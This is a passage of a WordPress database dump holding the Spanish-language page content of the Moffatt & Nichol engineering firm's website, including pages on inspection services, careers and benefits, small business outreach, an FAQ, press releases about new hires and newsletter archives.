rellenar grietas y revestir pilotes. Una reparación eficaz va más allá de estos elementos básicos y requiere de experiencia profesional en este campo especializado.  Además, Moffatt & Nichol ofrece ingeniería de vida de servicio, modelación de durabilidad y capacidades de modelación de elementos finitos para proporcionar un importante valor agregado a los proyectos.\r\n <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/inspection-rehabilitation/inspection-and-rehabilitation-services/\">Examinar los servicios de inspección y rehabilitación >></a></div>\r\n</div>\r\n <div class=\"brochure-wrapper-ports\">\r\n            <h3>publicaciones relevantes</h3>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/inspection-2.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n                <strong class=\"green-new\">Calificación de la inspección y rehabilitación</strong><br />\r\n                Moffatt & Nichol, expertos con reconocimiento internacional en ingeniería estructural de frentes costeros y diseño marítimo, proporciona a sus clientes servicios de ingeniería  </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/inspection-and-rehabilitation-qualification/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/INSPECTION AND REHABILITATION QUALS-ELECTRONIC.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/inspection-1.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">Folleto de inspección y rehabilitación</strong><br />\r\n               Moffatt & Nichol, expertos con reconocimiento internacional en ingeniería y diseño estructural de frentes costeros, proporciona a sus clientes servicios de ingeniería orientados hacia la prolongación de la vida de servicio.</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/inspection-and-rehabilitation-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/INSPECTION REHAB.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n        </div>\r\n         </div>        \r\n   <div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>             ','Inspección y rehabilitación','','publish','open','open','','inspection-rehabilitation','','','2012-09-03 06:09:24','2012-09-03 06:09:24','',0,'http://moffattnichol.com/spanish/?page_id=62',10,'page','',0),(64,1,'2011-10-18 11:37:25','2011-10-18 11:37:25','','servicios petroleros','','publish','open','open','','oil-services','','','2011-10-18 11:37:25','2011-10-18 11:37:25','',0,'http://moffattnichol.com/spanish/?page_id=64',11,'page','',0),(67,1,'2011-10-18 11:38:57','2011-10-18 11:38:57','<div class=\"content_faq\">\r\n<div class=\"family-left\">\r\n<h1>carreras profesionales</h1>\r\nUsted ha invertido su tiempo, energía y recursos en colocar la base para una carrera enriquecedora y provechosa. Ahora es el momento de dar el siguiente paso.\r\n\r\nEs tiempo de unirse a Moffatt &amp; Nichol, una firma de ingeniería, planeamiento y ciencias, internacionalmente reconocida con oficinas en Norteamérica, Europa, América Latina, el Medio Oriente y la Cuenca del Pacífico. En Moffatt &amp; Nichol, usted formará equipo con un diverso grupo de profesionales de alto nivel, asumirá nuevos desafíos y se dedicará a una trayectoria profesional que utiliza sus fortalezas e intereses. Usted comenzará de inmediato, trabajará en proyectos importantes e interactuará con expertos líderes en la industria desde el primer día.\r\n\r\nEstamos buscando candidatos con un título universitario en ingeniería civil y un posgrado enfocado en una disciplina relacionada, como ingeniería estructural, de transporte o costera. Es deseable contar con alguna licencia o certificación profesional.\r\n<span class=\"view-listing\"><a title=\"Ver ofertas de trabajo\" href=\"https://moffattnichol-openhire.silkroad.com/epostings/index.cfm?version=1&company_id=16514\" target=\"_blank\">Ver ofertas de trabajo</a></span>\r\n\r\n&nbsp; <h3>cualidades personales</h3> Los candidatos elegidos deben poder trabajar en equipo, dar muestras de potencial de liderazgo, tener excelentes habilidades personales y de comunicación, tener automotivación, comprometerse a producir trabajo de alta calidad y desear asumir los retos y oportunidades que existen en un ambiente global.\r\n\r\n&nbsp; <h3>empleos actuales</h3> Moffatt &amp; Nichol le invita a examinar nuestras actuales ofertas de empleo en nuestras oficinas a nivel mundial.\r\n\r\n\r\n<span class=\"view-listing\"><a title=\"Ver ofertas de trabajo\" href=\"https://moffattnichol-openhire.silkroad.com/epostings/index.cfm?version=1&company_id=16514\" target=\"_blank\">Ver ofertas de trabajo</a></span>\r\n\r\n&nbsp; <h3>internado profesional</h3> ¡Nunca es demasiado pronto para comenzar a planear su primer empleo! Los programas de internado profesional de Moffatt &amp; Nichol están diseñados para ofrecer valiosa experiencia práctica a estudiantes de cualquier nivel de educación.\r\n\r\n<span class=\"view-listing\"><a title=\"Ver internados profesionales\" href=\"https://moffattnichol-openhire.silkroad.com/epostings/index.cfm?version=1&company_id=16514\" target=\"_blank\">Ver internados profesionales</a></span>\r\n\r\n&nbsp; <h3>diversidad</h3> Moffatt &amp; Nichol garantiza la no discriminación en todos los programas y actividades de acuerdo con los títulos VI y VII de la Ley de derechos civiles de 1964. Si necesita más información o ayuda especial para personas con discapacidades o con conocimiento limitado del inglés, póngase en contacto con Recursos Humanos llamando al (888) 399-6609. Los usuarios de teléfonos de texto (TTY/TDD) sírvanse llamar al 711.\r\n\r\n&nbsp; <h3>reclutadores independientes</h3> Si usted es un reclutador, agencia de búsqueda de empleo, o si bajo alguna otra circunstancia desea referir a un candidato a Moffatt &amp; Nichol, debe tener un acuerdo vigente a través de nuestra Oficina corporativa. Todo CV enviado a cualquier empleado de Moffatt &amp; Nichol sin tener un acuerdo en vigencia firmado por el Director de Recursos Humanos o Debra Kennedy, será considerado como no solicitado y de propiedad de Moffatt &amp; Nichol, y no pagaremos ningún honorario por colocación si el candidato es contratado. Si tiene alguna pregunta, comuníquese con Debra Kennedy, Gerente de Recursos Humanos, escribiendo a <a href=\"mailto:dkennedy@moffattnichol.com\">dkennedy@moffattnichol.com</a> .\r\n\r\n</div>\r\n<div class=\"family-right\">\r\n<h4>nuestros beneficios</h4>\r\n<div class=\"txt-box-family\">\r\n<div class=\"top-para\"><em>Moffatt &amp; Nichol</em> ofrece a sus empleados un paquete integral de beneficios que incluye opciones de atención médica y dental pagadas totalmente por el empleador. Los beneficios se adaptan a las necesidades de los empleados e incluyen:</div>\r\n<p class=\"divider-line-new\"><strong>De salud y Financieros </strong></p>\r\n\r\n<ul>\r\n	<li style=\"color: #fff;\">Atención médica</li>\r\n	<li style=\"color: #fff;\">Atención dental</li>\r\n	<li style=\"color: #fff;\">Atención de la vista</li>\r\n	<li style=\"color: #fff;\">Aporte del empleador igual al aporte del empleado al fondo de retiro </li>\r\n	<li style=\"color: #fff;\">Bonificaciones basadas en incentivos</li>\r\n	<li style=\"color: #fff;\">Discapacidad de corto y largo plazo pagada por el empleador</li>\r\n	<li style=\"color: #fff;\">Cobertura de medicamentos recetados</li>\r\n	<li style=\"color: #fff;\">Seguro de vida pagado por la compañía</li>\r\n	<li style=\"color: #fff;\">Programa de ayuda a empleados</li>\r\n	<li style=\"color: #fff;\">Seguro de atención médica de largo plazo</li>\r\n	<li style=\"color: #fff;\">Cuentas Flexibles de Gastos (FSA, por sus siglas en inglés)</li>\r\n	<li style=\"color: #fff;\">Beneficios de transporte</li>\r\n	<li style=\"color: #fff;\">Programas de salud y bienestar</li>\r\n</ul>\r\n<p class=\"divider-line-new\"><strong>Tiempo libre pagado </strong></p>\r\n\r\n<ul>\r\n	<li style=\"color: #fff;\">Licencia personal</li>\r\n	<li style=\"color: #fff;\">Días feriados</li>\r\n	<li style=\"color: #fff;\">Reconocimiento de servicios</li>\r\n</ul>\r\n<p class=\"divider-line-new\"><strong>Otros beneficios</strong></p>\r\n\r\n<ul>\r\n	<li style=\"color: #fff;\">Cargos de licencia profesional</li>\r\n	<li style=\"color: #fff;\">Cuotas de membrecías profesionales</li>\r\n	<li style=\"color: #fff;\">Reembolso de pago de inscripción</li>\r\n	<li style=\"color: #fff;\">Programas y certificaciones de desarrollo profesional</li>\r\n	<li style=\"color: #fff;\">Programas de capacitación interna</li>\r\n	<li style=\"color: #fff;\">Universidad Moffatt &amp; Nichol</li>\r\n	<li style=\"color: #fff;\">Bonificación por recomendación de nuevo empleado</li>\r\n</ul>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Únase a nuestro equipo','','publish','open','open','','join-our-team','','','2013-07-26 16:13:52','2013-07-26 16:13:52','',0,'http://moffattnichol.com/spanish/?page_id=67',12,'page','',0),(69,1,'2011-10-18 11:39:22','2011-10-18 11:39:22','<div class=\"content_faq\">\r\n<div class=\"partnership_left\">\r\n<h1>participación de pequeñas empresas</h3> Moffatt & Nichol se asocia habitualmente con pequeñas compañías calificadas para complementar nuestro conocimiento técnico interno. \r\n\r\nMediante los programas de participación y marketing, identificamos a pequeñas compañías calificadas en todo Estados Unidos con un conocimiento técnico que se ajusta a nuestro segmento de mercado para una posible asociación o subcontratación en programas gubernamentales.\r\n\r\n\r\n\r\n<strong style=\"line-height:14px; float:left; margin-bottom:10px;\">Postulación al programa de la pequeña empresa</strong>\r\nInvitamos a los participantes del Programa de la pequeña empresa con experiencia de trabajo en contratos gubernamentales federales, estatales y locales y que sean Certificados como uno de los tipos de negocios indicados a continuación.&nbsp;\r\n\r\n<div class=\"lft_margin\">\r\n              - Pequeña empresa<br />\r\n                - Pequeña empresa en desventaja <br />\r\n                - Pequeña empresa en zona Comercial Históricamente Subutilizada (HUB, por sus siglas en inglés)  <br />\r\n                - Pequeña empresa de propiedad de una mujer<br />\r\n                - Pequeña empresa de propiedad de un veterano de guerra<br />\r\n                - Pequeña empresa de propiedad de veterano de guerra discapacitado <br />\r\n                &nbsp; en servicio<br />\r\n                - Con certificación 8 (a) de pequeña empresa <br />\r\n                - Otro \r\n            </div>\r\n </div>\r\n          <div class=\"partnership_right\">\r\n            <h4>postulación de pequeña empresa</h4>\r\n            <div class=\"txt_boxbg\">\r\n             <span>[contact-form-7 id=\"2381\" title=\"Small Business Outreach\"]</span>\r\n            </div>\r\n <div class=\"clear\"></div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Participación de pequeñas empresas','','publish','open','open','','small-business-outreach','','','2013-01-09 06:27:38','2013-01-09 06:27:38','',0,'http://moffattnichol.com/spanish/?page_id=69',13,'page','',0),(71,1,'2011-10-18 11:39:53','2011-10-18 11:39:53','<div class=\"content_faq\">\r\n        <h1 class=\"title-faq\">preguntas frecuentes</h1>\r\n          <div class=\"content_faq-new\"> <strong>¿Qué es Moffatt & Nichol?</strong><br />\r\nMoffatt & Nichol es un destacado consultor de infraestructura a nivel global que se especializa en el planeamiento y diseño de las instalaciones que dan forma a nuestras líneas costeras, puertos y ríos, así como un innovador en las complejidades del transporte relacionadas con el movimiento de carga terrestre.\r\n\r\n            <strong>¿Dónde están sus oficinas?</strong><br />\r\n            Moffatt & Nichol atiende a sus clientes desde <a href=\"http://moffattnichol.com/spanish/our-offices\" title=\"Nuestras oficinas\">27 oficinas</a> a lo largo de Norteamérica, Europa, América Latina, el Medio Oriente y la Cuenca del Pacífico.\r\n            \r\n            <strong>¿Cómo debo enviar mi CV?</strong><br />\r\n            Haga clic en el enlace <a href=\"http://tbe.taleo.net/NA8/ats/careers/jobSearch.jsp?org=MOFFATTNICHOL&cws=1\"  title=\"Buscar empleos\">Buscar empleos</a> para acceder a nuestra base de datos de las vacantes actuales. Después de postular a un puesto, su CV es enviado directamente a nuestra base de datos de postulantes, a la que nuestros especialistas de RRHH pueden acceder de inmediato. Aquí puede encontrar herramientas para ayudarle a preparar un CV. Utilice el formulario <a href=\"http://moffattnichol.com/spanish/contact-us/\" title=\"Contáctenos\">Contáctenos</a> si tiene alguna pregunta relacionada con RRHH.\r\n            \r\n            <strong>¿Cómo puedo modificar mi perfil de candidato o postular a más empleos posteriormente?</strong><br />\r\n            Cuando postula a un puesto en línea, se le solicita crear un perfil de usuario. Usted puede actualizar su perfil en cualquier momento. Puede enviar su CV una vez cada 90 días. Todo envío adicional no será tomado en cuenta.\r\n            \r\n            <strong>¿Todavía está vacante este puesto?</strong><br />\r\n            Todos los puestos que se indican en nuestra base de datos están vacantes.\r\n\r\n            <strong>¿Cómo puedo postular a un internado profesional con Moffatt & Nichol?</strong><br />\r\n            Sírvase visitar nuestra página Internados profesionales si desea información sobre nuestro programa y haga clic en los internados actuales.\r\n\r\n            <strong>No veo un puesto adecuado para mi experiencia. ¿Puedo enviar mi CV para su consideración de todos modos?</strong><br />\r\n            No aceptamos CV para los cuales no existe un puesto específico identificado.\r\n\r\n            <strong>¿Hay alguien con quien puedo hablar en relación con este puesto?</strong><br />\r\n            La descripción de funciones para nuestros puestos actuales contiene toda la información necesaria sobre el puesto. Cuando se comuniquen con usted para una entrevista, tendrá la oportunidad de recibir respuestas más específicas a sus preguntas relativas al empleo.\r\n\r\n            <strong>¿Cuándo esperan cubrir esta vacante?</strong><br />\r\n            Los períodos de tiempo para contratar varían según el puesto. Cuando un puesto ha sido retirado de nuestro sitio, significa que ya ha sido cubierto o que ya no aceptamos más CVs para dicho puesto.\r\n\r\n            <strong>¿Cómo funciona el proceso de la entrevista?</strong><br />\r\n            Inicialmente, un profesional de RRHH se pondrá en contacto con usted para una entrevista telefónica. Después podrá reunirse con el gerente de contrataciones y otro personal relacionado con la decisión de contratación. Se le puede solicitar que asista a más de una entrevista. Durante el proceso de contratación, se comprobarán sus referencias y se realizará una comprobación de sus antecedentes laborales antes de que se le extienda una oferta de empleo.\r\n\r\n          </div>\r\n        </div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Preguntas frecuentes','','publish','open','open','','faq','','','2012-06-15 09:18:24','2012-06-15 09:18:24','',0,'http://moffattnichol.com/spanish/?page_id=71',14,'page','',0),(73,1,'2011-10-18 11:40:30','2011-10-18 11:40:30','<div class=\"content_faq\">\r\n<h1>comunicados de prensa</h1>\r\n<div class=\"press-release-para\">En Moffatt &amp; Nichol estamos justificadamente orgullosos de nuestros empleados y de los proyectos en que trabajamos. Nuestra meta es proporcionar la información que los clientes, los medios y los solicitantes de empleo necesitan sobre nuestros mercados, nuestra gente y nuestros servicios. Nuestros comunicados de prensa, próximos eventos y boletines de noticias le dan una buena idea de quién somos. Si aún tiene preguntas sobre la compañía o si desea ser agregado a nuestra lista de distribución del boletín de noticias <a href=\"mailto:news@moffattnichol.com\" title=\"Haga clic aquí\">haga clic aquí </a></div>\r\n&nbsp; <h3>Gary Antonucci se une a Moffatt & Nichol como Ingeniero principal de puentes</h3>\r\n<div class=\"colombia_one\">\r\n<div class=\"press_release_left\">\r\n<div class=\"press_release_box_green\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/press-releases-new.jpg\" alt=\"\" width=\"226\" height=\"191\" border=\"0\" /></div>\r\n</div>\r\n<div class=\"colombia-new\">LONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol se complace en darle la bienvenida a Gary Antonucci como ingeniero principal de puentes para la oficina de Walnut Creek de la firma. El ingeniero Antonucci aporta a Moffatt & Nichol sus más de 30 años de experiencia en ingeniería, incluyendo más de 15 años con TY Lin International en el planeamiento y diseño de instalaciones de transporte que abarcan carreteras urbanas e interestatales y sistemas ferroviarios.\r\n\r\nSu experiencia incluye el diseño de puentes y estructuras de transporte, trenes de pasajeros de servicio pesado y ligero, senderos para peatones/bicicletas, sistemas de abastecimiento de agua e instalaciones de control de inundaciones. Durante los últimos 15 años, ha estado enfocado específicamente en la gerencia de proyectos de tareas complejas que requerían grandes equipos multidisciplinarios. Su trabajo ha incluido más de 200 proyectos de puentes individuales. Con una gran experiencia en el diseño de puentes para Caltrans (Departamento de Transportes de California), ha completado muchos proyectos de carreteras estatales que necesitaban la revisión y aprobación de Caltrans.\r\n\r\nLa experiencia del ingeniero Antonucci también incluye proyectos del Programa de Puentes Carreteros (HBP, por sus siglas en inglés) federal y ha completado la gerencia de proyecto para varias obras mayores con este programa, con costos individuales de proyectos superiores a $20 millones. Ha trabajado como Gerente de proyectos o Ingeniero estructural principal para más de 20 pasos a desnivel de carreteras/vías férreas. Su experiencia en estos proyectos ha incluido trabajar como enlace con el personal del ferrocarril, así como preparar acuerdos con la Comisión de Servicios Públicos (PUC, por sus siglas en inglés) y ferroviarios. El señor Antonucci es un ingeniero profesional y recibió su grado de ingeniería civil de la Universidad Politécnica del estado de California, Pomona.\r\n\r\n</div>\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n&nbsp; <h3>Carlos Noguera se une a la firma como Gerente General para la oficina de Colombia</h3>\r\n<div class=\"press_release_left\">\r\n<div class=\"press_release_box_green\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/press-releases-new-two.jpg\" alt=\"\" width=\"226\" height=\"191\" border=\"0\" /></div>\r\n</div>\r\n<div class=\"colombia-new\">LONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol da la bienvenida a la firma a Carlos Noguera como Gerente General para la oficina de Colombia S.A.S. El ingeniero Noguera aporta más de 30 años de experiencia y un profundo conocimiento de la industria de la ingeniería de Colombia, específicamente en las áreas de consultoría medioambiental, evaluación de la calidad del agua, diseño de canales de navegación, dragado y estudios de factibilidad económica y técnica en Colombia y a nivel mundial.\r\n\r\nEl ingeniero Noguera se une a Moffatt & Nichol después de trabajar más de 30 años con la compañía colombiana HMV Ingenieros, donde tuvo un papel importante como Representante legal e Ingeniero director general desde 2002, supervisando proyectos en los sectores privado y público. La experiencia de trabajo anterior del ingeniero Noguera con Moffatt & Nichol incluyó el diseño del acceso al canal de navegación al puerto de Buenaventura, Colombia donde fue un factor clave en los logros de la firma en Colombia.\r\n \r\nSu experiencia profesional también incluye la evaluación de los impactos medioambientales en proyectos de desarrollo. Habiendo trabajado como consultor medioambiental, sus conocimientos especializados incluyen estudios de la calidad del aire y el impacto medioambiental de desarrollos industriales, el desarrollo y control durante la ejecución de estudios sobre la evaluación de riesgos naturales, el diseño de canales de navegación, sistemas de atraque y dragas.\r\n\r\nEl ingeniero Noguera tiene el grado en ingeniería civil de la Universidad La Gran Colombia y una especialización en Evaluación del impacto medioambiental de la Universidad Jorge Tadeo Lozano – Tuffs University, en Bogotá, Colombia.  \r\n\r\n</div>\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n&nbsp; <h3>Helga Junold encabezará Grupo comercial global con sede en Nueva York</h3>\r\n<div class=\"press_release_left\">\r\n<div class=\"press_release_box_green\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/press-releases-new-one.jpg\" alt=\"\" width=\"226\" height=\"191\" border=\"0\" /></div>\r\n</div>\r\n<div class=\"colombia-new\">LONG BEACH, CA, 30 de noviembre, 2011 — Moffatt & Nichol se complace en dar la bienvenida a Helga Junold, ingeniera civil, como directora de la unidad de negocios para la unidad de servicios comerciales y consultivos con base en Nueva York de la firma. La ingeniera Junold se une a Moffatt & Nichol después de trabajar más de 20 años con Halcrow, donde puso en marcha la presencia estadounidense de la firma. Dirigió e incrementó una importante y exitosa especialidad consultiva de transacciones estratégicas en las áreas de puertos, carga, logística y asociaciones público-privadas, reuniendo competencias en ingeniería civil, financiamiento del desarrollo de infraestructura y administración general.\r\n\r\nLa ingeniera Junold ha trabajado como Gerente de proyectos en el Reino Unido, Estados Unidos y América Latina. Trabajó con prestamistas y garantes, incluyendo el banco Export-Import de Estados Unidos y el Departamento de garantía de créditos a la exportación del Reino Unido, y dirigió importantes iniciativas de desarrollo y financiamiento de infraestructura en el Reino Unido, Argentina y Venezuela. \r\n\r\nTambién ha dado apoyo a importantes clientes, entre los que podemos incluir la Autoridad portuaria de Nueva York y Nueva Jersey, el Departamento de Transporte de Texas, la Corporación de Desarrollo Económico de Nueva York, el Departamento del Tesoro del estado de Nueva Jersey, y varios desarrolladores de infraestructura del sector privado. La señora Junold es una ingeniera colegiada en el Reino Unido y obtuvo su maestría de Hidráulica en ingeniería civil de la universidad de Salford, Reino Unido.  \r\n</div>\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n\r\n</div>\r\n</div>\r\n&nbsp;\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Comunicados de prensa','','publish','open','open','','press-releases','','','2012-06-15 09:22:51','2012-06-15 09:22:51','',0,'http://moffattnichol.com/spanish/?page_id=73',15,'page','',0),(75,1,'2011-10-18 11:41:02','2011-10-18 11:41:02','<div class=\"content_faq\">\r\n<div class=\"newsletter-left\">\r\n<h1>último boletín de noticias</h1>\r\n<p><em>Volumen 9, número 2</em></p>\r\n<p><span class=\"title-issue\">Un mundo de puertos</span><br />\r\nCon la Terminal Intermodal del Puerto de Santos (TIPS) de Contrail, el puerto de Santos verá su primer centro intermodal en Cubatão, dirigido a aliviar la congestión de tráfico comercial y mantener la carga en movimiento. Si desea más información o reimpresiones, contacte con <a href=\"mailto:news@moffattnichol.com\">news@moffattnichol.com</a></p>\r\n<p><span class=\"more_right fr\"><a title=\"Descargar PDF\" href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/MN NL V9I2 Contrail Final 11.10.11 low.pdf\" target=\"_blank\">Descargar PDF</a> | <a title=\"Ver en línea\" href=\"http://moffattnichol.com/spanish/volume-9-issue-2/\">Ver en línea</a> </span></p>\r\n</div>\r\n<div class=\"newsletter-right\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue9-new.jpg\" alt=\"\" width=\"296\" height=\"400\" /></div>\r\n<div class=\"brochure-wrapper\">\r\n<h3>archivo de boletines de noticias</h3>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/road-bridge-go.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-new\"><em class=\"aapa-date\">Volumen 9, número 1</em>\r\n<strong class=\"green-new\">Camino, puente, ¡Vamos!</strong></div><p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-9-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/MoffattNichol%20Newsletter%20Volume%209%20Issue%201.pdf\" target=\"_blank\">Descargar</a></span></p></div>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-3.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two-new\"><em class=\"aapa-date\">Volumen 8, número 3</em>\r\n<strong class=\"green-new\">Puesta en marcha</strong></p></div><p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-3/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.8%20Issue%203.pdf\" target=\"_blank\">Descargar</a></span></p></div>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-2.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two-new\"><em class=\"aapa-date\">Volumen 8, número 2</em><strong class=\"green-new\">Los puertos ahora</strong></p></div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-2/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%208%20Issue%202.pdf\" target=\"_blank\">Descargar</a></span></p></div>\r\n<div class=\"brochure-last\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-1.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two-new\"><em class=\"aapa-date\">Volumen 8, número 1</em>\r\n<strong class=\"green-new\">Lo que nos depara el futuro</strong></p></div><p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%208%20Issue%201.pdf\" target=\"_blank\">Descargar</a></span></p></div></div>\r\n<div class=\"brochure-wrapper\">\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue7-2.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-new\"><em class=\"aapa-date\">Volumen 7, número 2</em><strong class=\"green-new\">Preserve, Proteja, Innove I&amp;R prolonga y renueva</strong></p></div><p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-7-issue-2/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%207%20Issue%202.pdf\" target=\"_blank\">Descargar</a></span></p></div>\r\n<div class=\"brochure-last\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue7-1.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two-new\"><em class=\"aapa-date\">Volumen 7, número 1</em><strong class=\"green-new\">Sobre rieles</strong></p></div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-7-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/M&amp;N%20NL%20V7%20I1%206.10.09%20Final.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>\r\n','Boletín de noticias','','publish','open','open','','newsletter','','','2012-06-18 10:20:57','2012-06-18 10:20:57','',0,'http://moffattnichol.com/spanish/?page_id=75',17,'page','',0),(78,1,'2011-10-18 11:42:42','2011-10-18 11:42:42','<div class=\"content_faq\">\r\n<div class=\"colletral-right\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/publications.jpg\" alt=\"\" /></div>\r\n<div class=\"colletral-left\">\r\n<h3>publicaciones</h3> Creative People, Practical Solutions.™ A través de nuestra diversa gama de mercados, Moffatt &amp; Nichol está comprometido con el éxito de nuestros clientes. El variado grupo de publicaciones de la firma proporciona una mirada al interior del mundo de Moffatt &amp; Nichol.\r\n<span class=\"more_right\"><a title=\"Folletos\" href=\"http://moffattnichol.com/spanish/publications/brochures-north-america/\">Folletos</a> | <a title=\"Capacidades &amp; experiencia profesional\" href=\"http://moffattnichol.com/spanish/publications/capabilities-expertise-north-america/\">Capacidades &amp; experiencia profesional</a> | <a title=\"Presentaciones\" href=\"http://moffattnichol.com/spanish/publications/presentations/\">Presentaciones</a></span>\r\n\r\n</div>\r\n<div class=\"content-speakers\">\r\n<div class=\"calender-left\">\r\n<h3>folletos</h3> Si desea más información sobre nuestros mercados, examine nuestra colección de folletos para conocer más sobre nuestras áreas de especialidad.\r\n\r\n<p class=\"moreheadlines-newone\"><a href=\"http://moffattnichol.com/spanish/publications/brochures-north-america/\" title=\"Ver nuestros folletos\">Ver nuestros folletos</a></p>\r\n\r\n</div>\r\n<div class=\"calender-right\">\r\n<h3>capacidades y experiencia profesional</h3> Si desea información más detallada sobre los servicios especializados de Moffatt &amp; Nichol, nuestra biblioteca de calificaciones le proporciona una mirada de cerca a nuestro trabajo.\r\n<p class=\"moreheadlines-newone\"><a title=\"Ver nuestras calificaciones\" href=\"http://moffattnichol.com/spanish/publications/capabilities-expertise-north-america/\">Ver nuestras capacidades y experiencia profesional</a></p>\r\n\r\n</div>\r\n<div class=\"calender-left\">\r\n<h3>informes técnicos</h3> Si desea publicaciones novedosas y actualizadas sobre la tecnología y especialidades de Moffatt &amp; Nichol, nuestros informes técnicos le ofrecen un enfoque especializado de algunas novedades en el campo.\r\n<p class=\"moreheadlines-newone\"><a title=\"Folletos\" href=\"http://moffattnichol.com/spanish/sea-level-rise-white-paper/\">Ver nuestro informes técnicos</a></p>\r\n\r\n</div>\r\n<div class=\"calender-right\">\r\n<h3>presentaciones</h3> Los oradores de Moffatt &amp; Nichol con frecuencia asisten a conferencias y a disertaciones. Puede encontrar nuestra presentación más reciente aquí.\r\n<p class=\"moreheadlines-newone\"><a title=\"Ver nuestras presentaciones\" href=\"http://moffattnichol.com/spanish/publications/presentations/\">Ver nuestras presentaciones</a></p>\r\n\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Publicaciones','','publish','open','open','','publications','','','2012-06-15 10:01:08','2012-06-15 10:01:08','',0,'http://moffattnichol.com/spanish/?page_id=78',18,'page','',0),(80,1,'2011-10-18 11:43:17','2011-10-18 11:43:17','<div class=\"content-speakers\">\r\n          <h1>oficina de oradores</h1>\r\n          <div class=\"spekers-para-new\">Los profesionales de Moffatt & Nichol son líderes en sus respectivos 